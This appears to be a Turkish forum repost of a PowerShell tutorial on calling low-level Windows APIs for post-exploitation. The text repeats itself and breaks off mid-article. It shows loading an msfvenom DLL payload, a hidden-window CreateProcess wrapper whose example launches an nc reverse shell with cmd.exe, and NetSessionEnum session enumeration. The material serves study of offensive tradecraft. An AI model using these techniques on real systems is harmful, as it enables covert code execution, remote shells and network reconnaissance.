PowerShell'den Düşük Seviye Windows API'ına Erişim
Merhabalar, eminim ki sizler şimdi Microsoft’un sömürü-sonrası dili olan PowerShell’in oldukça şahane olduğunu biliyorsunuzdur. PowerShell'i C # \. NET dili ile genişletmek, neredeyse her şeyi yapabileceğiniz anlamına gelmektedir. Bazen sade PowerShell’in işlevselliği yeterli değildir ve Windows API'ye düşük düzeyli erişim gerekmektedir. Bunun bir örneği olarak çevre makinelerinde etkin olan oturumları uzaktan numaralandırmak için NetSess ve Veil-Powerview gibi araçlar tarafından kullanılan NetSessionEnum API'sidir. Bu makalede, kendi Windows API çağrılarınız ile birlikte komut dosyası oluşturmanıza yardımcı olacak birkaç örneğe bakıyor olacağız.
Aşağıdaki verilen örneklerin Windows API yapılarını tanımlamak için C# dilini kullandığına dikkat edilmelidir. C# derlemesi çalışma zamanında geçici olan dosyaları diske yazacağından dolayı, saldırganların bakış açısından bu en uygunu değildir. Ancak, .NET System.Reflection ad alanını kullanmak, başarmaya çalıştığımız şeye biraz daha yük ekler. Temel bilgiler bir kez anlaşıldıktan sonra, Matt Graeber tarafından oluşturulan, gerçek bellek içi ikametgahını elde etmek için yapılan harika işi sırtlamak nispeten kolaydır.
Kaynaklar:
+Pinvoke
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 1
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 2
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 3
+.NET Metotları Ve Yansıma aracılığı ile PowerShell içinden Windows API’ e Erişim
+Derin Yansıma: PowerShell'de Yapıları ve Numaralandırmaları Tanımlama
İndir:
+ Invoke-CreateProcess.ps1 -
+ Invoke-NetSessionEnum.ps1 -
Kullanıcı32::MessageBox
API çağrısı çok az girdi gerektirdiğinden, bir mesaj kutusu oluşturmak çoğu ihtimalle en kolay örneklerden birisidir. Yapı parametrelerini daha iyi anlamak, yapı tanımına ve
MSDN'den C ++ fonksiyon yapısı aşağıda görülmektedir.
Kod:
int WINAPI MessageBox(
_In_opt_ HWND hWnd,
_In_opt_ LPCTSTR lpText,
_In_opt_ LPCTSTR lpCaption,
_In_ UINT uType
);
Bu kod kolayca c# diline çevrilebilir, pinvoke üzerindeki örneğin neredeyse birebir kopyala/yapıştır halidir.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class User32
{
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern bool MessageBox(
IntPtr hWnd, /// Parent window handle
String text, /// Text message to display
String caption, /// Window caption
int options); /// MessageBox type
}
"@
[User32]::MessageBox(0,"Text","Caption",0) |Out-Null
Yukarıdaki kodu çalıştırmak bize beklenilen Mesaj Kutusunu açar.
Açıkçası, mesaj kutusu fonksiyonuna ilettiğiniz parametreleri, örnek olarak mesaj kutusunun türünü değiştirebilirsiniz.
Kod:
[User32]::MessageBox(0,"Text","Caption",0x4)
User32 : : CallWindowProc
Hadi şimdi biraz karmaşık şeyler deneyelim; bir dll içinde, dışa aktarılan bir fonksiyonu çağırmak istediğimizde ne olur? Temel olarak aşağıdaki adımları uygulamamız gerekir.
Kod:
[Kernel32]::LoadLibrary # Load DLL
|___[Kernel32]::GetProcAddress # Get function pointer
|___[User32]::CallWindowProc # Call function
Burada birazcık hile var, CallWindowProc sadece fonksiyon herhangi bir parametreyi beklemiyorsa çalışacaktır. Fakat burada görünüm amaçlı olarak ihtiyaçlarımızı karşılar
User32.dll, kullanıcının masaüstünü kilitlemek için kullanılabilecek bir fonksiyonu (LockWorkStation) barındırır. Bu fonksiyonu çalıştıracak kodu aşağıda görebilirsiniz.
Kod:
function Instantiate-LockDown {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class Kernel32
{
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
[MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
}
public static class User32
{
[DllImport("user32.dll")]
public static extern IntPtr CallWindowProc(
IntPtr wndProc,
IntPtr hWnd,
int msg,
IntPtr wParam,
IntPtr lParam);
}
"@
$LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll")
$FuncHandle = [Kernel32]::GetProcAddress($LibHandle, "LockWorkStation")
if ([System.IntPtr]::Size -eq 4) {
echo "`nKernel32::LoadLibrary --> 0x$("{0:X8}" -f $LibHandle.ToInt32())"
echo "User32::LockWorkStation --> 0x$("{0:X8}" -f $FuncHandle.ToInt32())"
}
else {
echo "`nKernel32::LoadLibrary --> 0x$("{0:X16}" -f $LibHandle.ToInt64())"
echo "User32::LockWorkStation --> 0x$("{0:X16}" -f $FuncHandle.ToInt64())"
}
echo "Locking user session..`n"
[User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null
}
Bu kodu çalıştırmak hızlı bir şekilde kullanıcının masaüstünü kilitleyecektir.
Tekrar giriş yaptıktan sonra fonksiyon tarafından işlenen kodun çıktısını görebiliriz.
MSFvenom : : WinExec (…veya değil)
Önceki örneğin ardından msfvenom tarafından oluşturulan bir DLL ile aynı şeyi deneyelim.
Kişisel olarak ****sploit DLL payload biçimini kullanmak için pek fırsatım olmadı, çünkü asla tam olarak ihtiyacım olan şeyi yapmıyormuş gibi görünüyor.
Durumu düzenlemek için her şeyin DLLMain aracılığıyla açığa çıktığını ortaya çıkaran IDA'ya hızlı bir şekilde göz attım.
Gayet gülünç bir şekilde, ileri seviye araştırma DLL'nin aslında
Çağrı birazcık tuhaf, görünüşe göre CreateProcess rundll32.exe’yi “askıya alınmış” durumda başlatıyor (dwCreationFlags = 0x44). Neden rundll32.exe’nin lpApplicationName'de normalde olduğu gibi lpCommandLine‘ın içine yerleştirildiğinden emin değilim, lpCommandLine'ın ilk parametresi modül adı olarak değerlendirilen bu durumda lpApplicationName, “NULL” olarak kabul edilebilir.
Sonrasında shellcode işi eline alır, bir payload bayt dizisi ekler ve işi sürdürür.
İlk amacımıza geri dönersek, yükü PowerShell'den yürütmek gayet kolaydır. Her şey DLLMain içinde olduğundan dolayı, yalnızca uygun DLL yolunu kullanarak LoadLibrary'yi çağırmamız gerekir. Tek karmaşıklık, LoadLibrary çağrısını yaptığımızda PowerShell'in donmasıdır, bundan kaçınmak için işlemi arka plana almak için Start-Job kullanabiliriz.
Kod:
function Instantiate-MSFDLL {
$ScriptBlock = {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class Kernel32
{
[DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
[MarshalAs(UnmanagedType.LPStr)]string lpFileName);
}
"@
[Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll")
}
Start-Job -Name MSF_Calc -ScriptBlock $ScriptBlock
}
Bu fonksiyonu çalıştırmak bize hesap makinesini verir.
Kernel32 : : CreateProcess
şimdiye kadar bunları kolayca yaptık, buraya kadarki tüm API çağrıları nispeten küçük ve karmaşık değildi. Ancak bu her zaman böyle değildir, bunun için CreateProcess API çağrısı iyi bir örnektir. Bazen uzak makinede bir komut çalıştırmanız gerekebilir, fakat... bir konsol penceresi açılır. Ben, bu sorunla birkaç kez karşılaştım ve gerçekten basit bir çözümü yok (bir VBS paketleyici önermeyi düşünmeyin bile). şükür ki, Windows API'ye inersek, konsol uygulamalarındaki GUI penceresini kaldırma yeteneği de dahil olmak üzere, süreç oluşturma üzerinde çok daha ayrıntılı kontrol sunan
Her iki durumda da, CreateProcess'in tüm avantajlarından yararlanabilen bir işleve sahip olmak, zaman zaman çok yararlı olacaktır. Görelim bunu başarabilecek miyiz? C# örnekleri için
Kaynaklar:
+ CreateProcess -
+ STARTUPINFO -
+ PROCESS_INFORMATION -
+ SECURITY_ATTRIBUTES -
Kod:
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, --> SECURITY_ATTRIBUTES Struct
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, --> SECURITY_ATTRIBUTES Struct
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LP**** lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo, --> STARTUPINFO Struct
_Out_ LPPROCESS_INFORMATION lpProcessInformation --> PROCESS_INFORMATION Struct
);
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
public static class Kernel32
{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
}
"@
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
# CreateProcess --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null
Yukarıda ayarlanan bayraklar, penceresi olmayan bir "cmd.exe" işlemi oluşturmalıdır ve bu da hesap makinesini başlatır. Aslında, cmd'nin “Process Explorer” ile ilişkili bir penceresi olmadığını onaylayabilirsiniz.
Açıkçası bu kodu yeniden kullanmak biraz sıkıcı. Ben de bu yüzden yeniden kullanmak için güzel bir fonksiyona girdim.
Kod:
PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full
NAME
Invoke-CreateProcess
SYNOPSIS
-Binary Full path of the module to be executed.
-Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults
to $null if not specified.
-CreationFlags Process creation flags:
0x00000000 (NONE)
0x00000001 (DEBUG_PROCESS)
0x00000002 (DEBUG_ONLY_THIS_PROCESS)
0x00000004 (CREATE_SUSPENDED)
0x00000008 (DETACHED_PROCESS)
0x00000010 (CREATE_NEW_CONSOLE)
0x00000200 (CREATE_NEW_PROCESS_GROUP)
0x00000400 (CREATE_UNICODE_ENVIRONMENT)
0x00000800 (CREATE_SEPARATE_WOW_VDM)
0x00001000 (CREATE_SHARED_WOW_VDM)
0x00040000 (CREATE_PROTECTED_PROCESS)
0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
0x04000000 (CREATE_DEFAULT_ERROR_MODE)
0x08000000 (CREATE_NO_WINDOW)
-ShowWindow Window display flags:
0x0000 (SW_HIDE)
0x0001 (SW_SHOWNORMAL)
0x0001 (SW_NORMAL)
0x0002 (SW_SHOWMINIMIZED)
0x0003 (SW_SHOWMAXIMIZED)
0x0003 (SW_MAXIMIZE)
0x0004 (SW_SHOWNOACTIVATE)
0x0005 (SW_SHOW)
0x0006 (SW_MINIMIZE)
0x0007 (SW_SHOWMINNOACTIVE)
0x0008 (SW_SHOWNA)
0x0009 (SW_RESTORE)
0x000A (SW_SHOWDEFAULT)
0x000B (SW_FORCEMINIMIZE)
0x000B (SW_MAX)
-StartF Bitfield to influence window creation:
0x00000001 (STARTF_USESHOWWINDOW)
0x00000002 (STARTF_USESIZE)
0x00000004 (STARTF_USEPOSITION)
0x00000008 (STARTF_USECOUNTCHARS)
0x00000010 (STARTF_USEFILLATTRIBUTE)
0x00000020 (STARTF_RUNFULLSCREEN)
0x00000040 (STARTF_FORCEONFEEDBACK)
0x00000080 (STARTF_FORCEOFFFEEDBACK)
0x00000100 (STARTF_USESTDHANDLES)
SYNTAX
Invoke-CreateProcess [-Binary] [[-Args] ] [-CreationFlags] [-ShowWindow]
[-StartF] []
DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PARAMETERS
-Binary
Required? true
Position? 1
Default value
Accept pipeline input? false
Accept wildcard characters?
-Args
Required? false
Position? 2
Default value
Accept pipeline input? false
Accept wildcard characters?
-CreationFlags
Required? true
Position? 3
Default value
Accept pipeline input? false
Accept wildcard characters?
-ShowWindow
Required? true
Position? 4
Default value
Accept pipeline input? false
Accept wildcard characters?
-StartF
Required? true
Position? 5
Default value
Accept pipeline input? false
Accept wildcard characters?
This cmdlet supports the common parameters: Verbose, Debug,
ErrorAction, ErrorVariable, WarningAction, WarningVariable,
OutBuffer and OutVariable. For more information, type,
"get-help about_commonparameters".
INPUTS
OUTPUTS
-------------------------- EXAMPLE 1 --------------------------
Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW
C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
-StartF 0x1
-------------------------- EXAMPLE 2 --------------------------
Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1
NONE/SW_NORMAL/STARTF_USESHOWWINDOW
Burada herhangi bir iz bırakmadan sade bir hesap makinesi başlatıyoruz.
CREATE_NEW_CONSOLE/SW_NORMAL/STARTF_USESHOWWINDOW
Burada ise cmd yeni bir konsolda başlatıldı ve normal şekilde görüntülendi.
CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
Burada cmd penceresiz olarak çağrıldı ve bu da greyhathacker domain’ininden bir binary’i yakalamak ve çalıştırmak için bir bitsadmin komutu yürüttü.
Netapi32 : : NetSessionEnum
Son örneğimiz için NetSessionEnum API'sine bir göz atacağız. Bu harika küçük bir API mücevheridir. Özellikle yeniden birleştirme söz konusu olduğunda, bir domain kullanıcısının domain’ine katılmış makinelerdeki kimliği doğrulanmış oturumları numaralandırmasına izin verir ve yönetici izinlerini gerektirmez. Giriş kısmında da bahsedildiği üzere, bundan yararlanan harika araçlar var, en önemlileri ise
Kod:
function Invoke-NetSessionEnum {
Invoke-NetSessionEnum -HostName SomeHostName
#>
param (
[Parameter(Mandatory = $True)]
[string]$HostName
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct SESSION_INFO_10
{
[MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
[MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
public uint SessionTime;
public uint IdleTime;
}
public static class Netapi32
{
[DllImport("Netapi32.dll", SetLastError=true)]
public static extern int NetSessionEnum(
[In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
Int32 Level,
out IntPtr bufptr,
int prefmaxlen,
ref Int32 entriesread,
ref Int32 totalentries,
ref Int32 resume_handle);
[DllImport("Netapi32.dll", SetLastError=true)]
public static extern int NetApiBufferFree(
IntPtr Buffer);
}
"@
# Create SessionInfo10 Struct
$SessionInfo10 = New-Object SESSION_INFO_10
$SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
$SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this
)
# NetSessionEnum params
$OutBuffPtr = [IntPtr]::Zero # Struct output buffer
$EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
$CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
if ($CallResult -ne 0){
echo "Mmm something went wrong!`nError Code: $CallResult"
}
else {
if ([System.IntPtr]::Size -eq 4) {
echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
}
else {
echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
}
echo "Result-set contains $EntriesRead session(s)!"
# Change buffer offset to int
$BufferOffset = $OutBuffPtr.ToInt64()
# Loop buffer entries and cast pointers as SessionInfo10
for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$Info = [system.runtime.interopservices.marshal]:
trToStructure($NewIntPtr,[type]$SessionInfo10)
$Info
$BufferOffset = $BufferOffset + $SessionInfo10StructSize
}
echo "`nCalling NetApiBufferFree, no memleaks here!"
[Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
}
}
Evde geliştirme testleri için kullandığım küçük, kötü niyetli bir domain kurulumum var. Invoke-NetSessionEnum çıktısını aşağıda görebilirsiniz.
Sonuç:
Umarım ki bu konu sizlere Windows API çağrılarını PowerShell komut dosyalarınıza dahil etme hakkında bazı fikirler vermiştir. Bunu yapmak, PowerShell'de gerçekten elde edemeyeceğiniz hiçbir şeyin olmadığı anlamına gelmektedir. Giriş kısmında da bahsettiğim gibi, .NET yansımasını kullanarak çalışma zamanı C# derlemesinden kaçınmanın bir yolu var, bunun nasıl yapıldığını görmek için
Unutmayın, sakin kalın ve [Winmm]::mciSendString("set CDAudio door open", $null, $null, [IntPtr]::Zero)!
ORİJİNAL KAYNAK:
ÇEVİRMEN:
Merhabalar, eminim ki sizler şimdi Microsoft’un sömürü-sonrası dili olan PowerShell’in oldukça şahane olduğunu biliyorsunuzdur. PowerShell'i C # \. NET dili ile genişletmek, neredeyse her şeyi yapabileceğiniz anlamına gelmektedir. Bazen sade PowerShell’in işlevselliği yeterli değildir ve Windows API'ye düşük düzeyli erişim gerekmektedir. Bunun bir örneği olarak çevre makinelerinde etkin olan oturumları uzaktan numaralandırmak için NetSess ve Veil-Powerview gibi araçlar tarafından kullanılan NetSessionEnum API'sidir. Bu makalede, kendi Windows API çağrılarınız ile birlikte komut dosyası oluşturmanıza yardımcı olacak birkaç örneğe bakıyor olacağız.
Aşağıdaki verilen örneklerin Windows API yapılarını tanımlamak için C# dilini kullandığına dikkat edilmelidir. C# derlemesi çalışma zamanında geçici olan dosyaları diske yazacağından dolayı, saldırganların bakış açısından bu en uygunu değildir. Ancak, .NET System.Reflection ad alanını kullanmak, başarmaya çalıştığımız şeye biraz daha yük ekler. Temel bilgiler bir kez anlaşıldıktan sonra, Matt Graeber tarafından oluşturulan, gerçek bellek içi ikametgahını elde etmek için yapılan harika işi sırtlamak nispeten kolaydır.
Kaynaklar:
+Pinvoke
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
(İngilizce Kaynak)+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 1
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
(İngilizce Kaynak)+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 2
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
(İngilizce Kaynak)+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 3
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
(İngilizce Kaynak)+.NET Metotları Ve Yansıma aracılığı ile PowerShell içinden Windows API’ e Erişim
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
(İngilizce Kaynak)+Derin Yansıma: PowerShell'de Yapıları ve Numaralandırmaları Tanımlama
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
(İngilizce Kaynak)İndir:
+ Invoke-CreateProcess.ps1 -
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
(İngilizce Kaynak)+ Invoke-NetSessionEnum.ps1 -
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
(İngilizce Kaynak)Kullanıcı32::MessageBox
API çağrısı çok az girdi gerektirdiğinden, bir mesaj kutusu oluşturmak çoğu ihtimalle en kolay örneklerden birisidir. Yapı parametrelerini daha iyi anlamak, yapı tanımına ve
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
girişine bir başlangıç yapmak için MessageBox için pinvoke girişini kontrol ettiğinizden emin olun.MSDN'den C ++ fonksiyon yapısı aşağıda görülmektedir.
Kod:
int WINAPI MessageBox(
_In_opt_ HWND hWnd,
_In_opt_ LPCTSTR lpText,
_In_opt_ LPCTSTR lpCaption,
_In_ UINT uType
);
Bu kod kolayca c# diline çevrilebilir, pinvoke üzerindeki örneğin neredeyse birebir kopyala/yapıştır halidir.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class User32
{
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern bool MessageBox(
IntPtr hWnd, /// Parent window handle
String text, /// Text message to display
String caption, /// Window caption
int options); /// MessageBox type
}
"@
[User32]::MessageBox(0,"Text","Caption",0) |Out-Null
Yukarıdaki kodu çalıştırmak bize beklenilen Mesaj Kutusunu açar.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Açıkçası, mesaj kutusu fonksiyonuna ilettiğiniz parametreleri, örnek olarak mesaj kutusunun türünü değiştirebilirsiniz.
Kod:
[User32]::MessageBox(0,"Text","Caption",0x4)
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
User32 : : CallWindowProc
Hadi şimdi biraz karmaşık şeyler deneyelim; bir dll içinde, dışa aktarılan bir fonksiyonu çağırmak istediğimizde ne olur? Temel olarak aşağıdaki adımları uygulamamız gerekir.
Kod:
[Kernel32]::LoadLibrary # Load DLL
|___[Kernel32]::GetProcAddress # Get function pointer
|___[User32]::CallWindowProc # Call function
Burada birazcık hile var, CallWindowProc sadece fonksiyon herhangi bir parametreyi beklemiyorsa çalışacaktır. Fakat burada görünüm amaçlı olarak ihtiyaçlarımızı karşılar
User32.dll, kullanıcının masaüstünü kilitlemek için kullanılabilecek bir fonksiyonu (LockWorkStation) barındırır. Bu fonksiyonu çalıştıracak kodu aşağıda görebilirsiniz.
Kod:
function Instantiate-LockDown {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class Kernel32
{
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
[MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
}
public static class User32
{
[DllImport("user32.dll")]
public static extern IntPtr CallWindowProc(
IntPtr wndProc,
IntPtr hWnd,
int msg,
IntPtr wParam,
IntPtr lParam);
}
"@
$LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll")
$FuncHandle = [Kernel32]::GetProcAddress($LibHandle, "LockWorkStation")
if ([System.IntPtr]::Size -eq 4) {
echo "`nKernel32::LoadLibrary --> 0x$("{0:X8}" -f $LibHandle.ToInt32())"
echo "User32::LockWorkStation --> 0x$("{0:X8}" -f $FuncHandle.ToInt32())"
}
else {
echo "`nKernel32::LoadLibrary --> 0x$("{0:X16}" -f $LibHandle.ToInt64())"
echo "User32::LockWorkStation --> 0x$("{0:X16}" -f $FuncHandle.ToInt64())"
}
echo "Locking user session..`n"
[User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null
}
Bu kodu çalıştırmak hızlı bir şekilde kullanıcının masaüstünü kilitleyecektir.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Tekrar giriş yaptıktan sonra fonksiyon tarafından işlenen kodun çıktısını görebiliriz.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
MSFvenom : : WinExec (…veya değil)
Önceki örneğin ardından msfvenom tarafından oluşturulan bir DLL ile aynı şeyi deneyelim.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Kişisel olarak ****sploit DLL payload biçimini kullanmak için pek fırsatım olmadı, çünkü asla tam olarak ihtiyacım olan şeyi yapmıyormuş gibi görünüyor.
Durumu düzenlemek için her şeyin DLLMain aracılığıyla açığa çıktığını ortaya çıkaran IDA'ya hızlı bir şekilde göz attım.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Gayet gülünç bir şekilde, ileri seviye araştırma DLL'nin aslında
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
kullanmadığını ortaya çıkardı. Bunun yerine DLL,
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
için bir çağrı ayarlıyor.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Çağrı birazcık tuhaf, görünüşe göre CreateProcess rundll32.exe’yi “askıya alınmış” durumda başlatıyor (dwCreationFlags = 0x44). Neden rundll32.exe’nin lpApplicationName'de normalde olduğu gibi lpCommandLine‘ın içine yerleştirildiğinden emin değilim, lpCommandLine'ın ilk parametresi modül adı olarak değerlendirilen bu durumda lpApplicationName, “NULL” olarak kabul edilebilir.
Sonrasında shellcode işi eline alır, bir payload bayt dizisi ekler ve işi sürdürür.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
İlk amacımıza geri dönersek, yükü PowerShell'den yürütmek gayet kolaydır. Her şey DLLMain içinde olduğundan dolayı, yalnızca uygun DLL yolunu kullanarak LoadLibrary'yi çağırmamız gerekir. Tek karmaşıklık, LoadLibrary çağrısını yaptığımızda PowerShell'in donmasıdır, bundan kaçınmak için işlemi arka plana almak için Start-Job kullanabiliriz.
Kod:
function Instantiate-MSFDLL {
$ScriptBlock = {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class Kernel32
{
[DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
[MarshalAs(UnmanagedType.LPStr)]string lpFileName);
}
"@
[Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll")
}
Start-Job -Name MSF_Calc -ScriptBlock $ScriptBlock
}
Bu fonksiyonu çalıştırmak bize hesap makinesini verir.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Kernel32 : : CreateProcess
şimdiye kadar bunları kolayca yaptık, buraya kadarki tüm API çağrıları nispeten küçük ve karmaşık değildi. Ancak bu her zaman böyle değildir, bunun için CreateProcess API çağrısı iyi bir örnektir. Bazen uzak makinede bir komut çalıştırmanız gerekebilir, fakat... bir konsol penceresi açılır. Ben, bu sorunla birkaç kez karşılaştım ve gerçekten basit bir çözümü yok (bir VBS paketleyici önermeyi düşünmeyin bile). şükür ki, Windows API'ye inersek, konsol uygulamalarındaki GUI penceresini kaldırma yeteneği de dahil olmak üzere, süreç oluşturma üzerinde çok daha ayrıntılı kontrol sunan
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
buluyoruz. Her nedense PowerShell'de "-WindowStyle Hidden" flag’ın konsolu tamamen gizlemek için CreateProcess'e bağlanmaması beni hala korkutuyor.Her iki durumda da, CreateProcess'in tüm avantajlarından yararlanabilen bir işleve sahip olmak, zaman zaman çok yararlı olacaktır. Görelim bunu başarabilecek miyiz? C# örnekleri için
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
başvurmayı unutmayın.Kaynaklar:
+ CreateProcess -
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
+ STARTUPINFO -
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
+ PROCESS_INFORMATION -
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
+ SECURITY_ATTRIBUTES -
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Kod:
